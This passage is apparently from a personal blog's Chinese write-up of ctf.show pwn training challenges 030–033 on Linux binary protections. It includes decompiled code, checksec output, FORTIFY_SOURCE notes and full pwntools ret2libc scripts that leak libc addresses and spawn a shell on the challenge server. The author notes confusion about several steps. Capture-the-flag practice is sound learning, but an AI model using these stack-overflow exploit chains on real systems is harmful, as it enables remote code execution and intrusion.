puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No Canary found & No PIE ");
puts(" * ************************************* ");
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}

ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}
/* buf ,用于存储从标准输入读取的数据。该变量在栈上分配,相对于函数栈帧指针 ebp 的偏移为-0x88

调用 read 函数从标准输入读取数据。 read 函数的第一个参数是文件描述符,这里使用 0 表示标准输入。第二个参数是指向存储数据的缓冲区的指针,这里是 &buf 。第三个参数是要读取的最大字节数,这里是 0x100u ,即 256 字节

程序中无system也没有“/bin/sh”字符串,也可以使用ret2libc的方法进行get shell 后面到该部分会进行详细讲解,同样在这里仅仅是为了演示在关闭Canary和PIE保护,开启NX保护时的一种攻击手法
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = 'debug'

#io = process('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
io = remote('pwn.challenge.ctf.show', 28145)

elf = ELF('./pwn') # 创建elf对象
libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')
ctfshow = elf.sym['ctfshow'] # 获取ctfshow函数的地址

# 构造payload以泄露write函数在libc中的地址
payload = "A" * 140 +p32(elf.sym['write']) + p32(ctfshow) + p32(1) + p32(elf.got['write']) + p32(4) # 不是很懂。。
io.send(payload)

# 使用泄漏的write地址来确定libc基地址,进而计算system函数和/bin/sh字符串的地址
write_addr = u32(io.recv(4))
system_addr = write_addr - libc.sym['write'] + libc.sym['system']
binsh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))

# 构造新的payload,这次是调用system函数并传递/bin/sh作为参数
payload2 = "B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)
io.send(payload2)

io.interactive()
  • 这题没太懂。
  • 还差点前置知识喵。

031 ALSR和PIE开启

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn031/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
32位 仅关闭Canary保护
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
printf("%p\n", main); // 程序先打印出main函数的地址
ctfshow(&argc);
puts(asc_854);
puts(asc_8C8);
puts(asc_944);
puts(asc_9D0);
puts(asc_A60);
puts(asc_AE4);
puts(asc_B78);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Bypass ALSR & PIE ");
puts(" * ************************************* ");
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}

ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}
// 有溢出,但是开启了保护,所以之前的exp打不了
  • 已知main函数地址,可以通过计算偏移得到程序本身的加载地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 本地exp

from pwn import *

context.log_level = 'debug'

io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# 从程序输出中读取main函数的地址。通常,这一步需要在二进制程序中有特定的输出,以便读取main函数的地址
main = int(io.recvline(),16)

# 计算二进制文件的基地址,这是通过从读取到的main函数地址减去main函数在ELF文件中的偏移量得出的
base = main - elf.sym['main']

# 使用基地址来计算ctfshow函数地址、write函数的PLT地址、write函数的GOT地址以及一个用于存放参数的寄存器(ebx)的地址
ctfshow = base + elf.sym['ctfshow']
write_plt = base + elf.sym['write']
write_got = base + elf.got['write']
ebx = base + 0x1fc0 # 这个怎么得到的

# 构造payload来泄露write函数在libc中的地址
payload = "A" * 132 + p32(ebx) + "AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.send(payload)
write = u32(io.recv()) # 这行不太懂。。

# 使用泄漏的write地址来确定libc基地址,进而计算system函数和/bin/sh字符串的地址
libc_base = write - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))

# 构造payload来调用system函数并传递/bin/sh作为参数
payload = "B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)
io.send(payload)

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 远程exp
from pwn import *

context.log_level = 'debug'

#io = process('./pwn')
#io = remote('127.0.0.1',10000)
io = remote("pwn.challenge.ctf.show",28161)

elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')
main = int(io.recvline(),16)
print hex(main)

base = main - elf.sym['main']
ctfshow = base + elf.sym['ctfshow']
write_plt = base + elf.sym['write']
write_got = base + elf.got['write']
ebx = base + 0x1fc0


payload = "A" * 132 + p32(ebx) + "AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.send(payload)
write = u32(io.recv())


libc_base = write - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))


payload = "B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)
io.send(payload)

io.interactive()

032 FORTIFY_SOURCE=0

  • 禁用Fortify功能,不会进行任何额外的安全检查,可能导致潜在的安全漏洞

  • FORTIFY_SOURCE 是一个 C/C++ 编译器提供的安全保护机制,旨在防止缓冲区溢出其他与字符串和内存操作相关的安全漏洞。它是在编译时自动插入的一组额外代码,用于增强程序对于缓冲区溢出和其他常见安全问题的防护。

  • FORTIFY_SOURCE 提供了以下主要功能:

  • 1. 运行时长度检查

    • FORTIFY_SOURCE 会在编译时自动将长度检查代码插入到一些危险的库函数中,例如 strcpy 、 strcat 、 sprintf 等。这些代码会检查目标缓冲区的长度,以确保操作不会导致溢出。如果检测到溢出情况,程序会立即终止,从而防止潜在的漏洞利用。
  • 2. 缓冲区溢出检测

    • FORTIFY_SOURCE 还会将额外的保护机制添加到一些敏感的库函数中,例如 memcpy 、 memmove 、 memset 等。这些机制可以检测传递给这些函数的源和目标缓冲区是否有重叠,并防止潜在的缓冲区溢出
  • 3. 安全警告和错误报告:

    • 当 FORTIFY_SOURCE 检测到潜在的缓冲区溢出或其他安全问题时,它会生成相应的警告和错误报告
  • FORTIFY_SOURCE 提供了一层额外的安全保护,它可以在很大程度上减少常见的缓冲区溢出和字符串操作相关的安全漏洞

1
2
3
4
5
6
7
8
checksec pwn
[*] '/home/ctfshow/Desktop/ctfshow-pwn-primary/pwn032/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
64位 仅关闭Canary保护
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // eax
const char *v4; // rax
int v5; // eax
int num; // [rsp+4h] [rbp-44h] BYREF
char buf2[11]; // [rsp+Ah] [rbp-3Eh] BYREF
char buf1[11]; // [rsp+15h] [rbp-33h] BYREF

v3 = getegid();
setresgid(v3, v3, v3);
logo();
v4 = argv[1];
*(_QWORD *)buf1 = *(_QWORD *)v4;
*(_WORD *)&buf1[8] = *((_WORD *)v4 + 4);
buf1[10] = v4[10];
strcpy(buf2, "CTFshowPWN");
printf("%s %s\n", buf1, buf2);
v5 = strtol(argv[3], 0LL, 10);
memcpy(buf1, argv[2], v5);
strcpy(buf2, argv[1]);
printf("%s %s\n", buf1, buf2);
fgets(buf1, 11, _bss_start);
printf(buf1, &num);

if ( argc > 4 )
Undefined();
return 0;
}

/* 第一题关闭了此保护,输入的argv1明显会导致buf1溢出,但是程序仍可以正常运行 */

void __cdecl Undefined()
{
FILE *v0; // rax
char flag[64]; // [rsp+0h] [rbp-48h] BYREF

puts(
"The source code of these three programs is the same, and the results of turning on different levels of protection are understood\n");
puts("You should understand the role of these protections!But don't just get a flag\nHere is your flag:\n");
v0 = fopen("/ctfshow_flag", "r");
if ( !v0 )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, v0);
puts(flag);
}
/* 打开并打印flag */
1
2
3
4
5
6
7
./pwn AAAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBB 6

AAAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBB CTFshowPWN
A AAAAAAAAAAA
%2$x
be8b8d0
得到flag
  • 这个知识点不太懂。。

033 FORTIFY_SOURCE=1

  • 启用 Fortify 功能的基本级别。
  • 在编译时进行一些安全检查,如缓冲区边界检查、格式化字符串检查等。 在运行时进行某些检查,如检测函数返回值和大小的一致性。 如果检测到潜在的安全问题,会触发运行时错误,并终止程序执行

to be continued

  • Copyrights © 2024-2025 brocademaple
  • 访问人数: | 浏览次数:

      请我喝杯咖啡吧~

      支付宝
      微信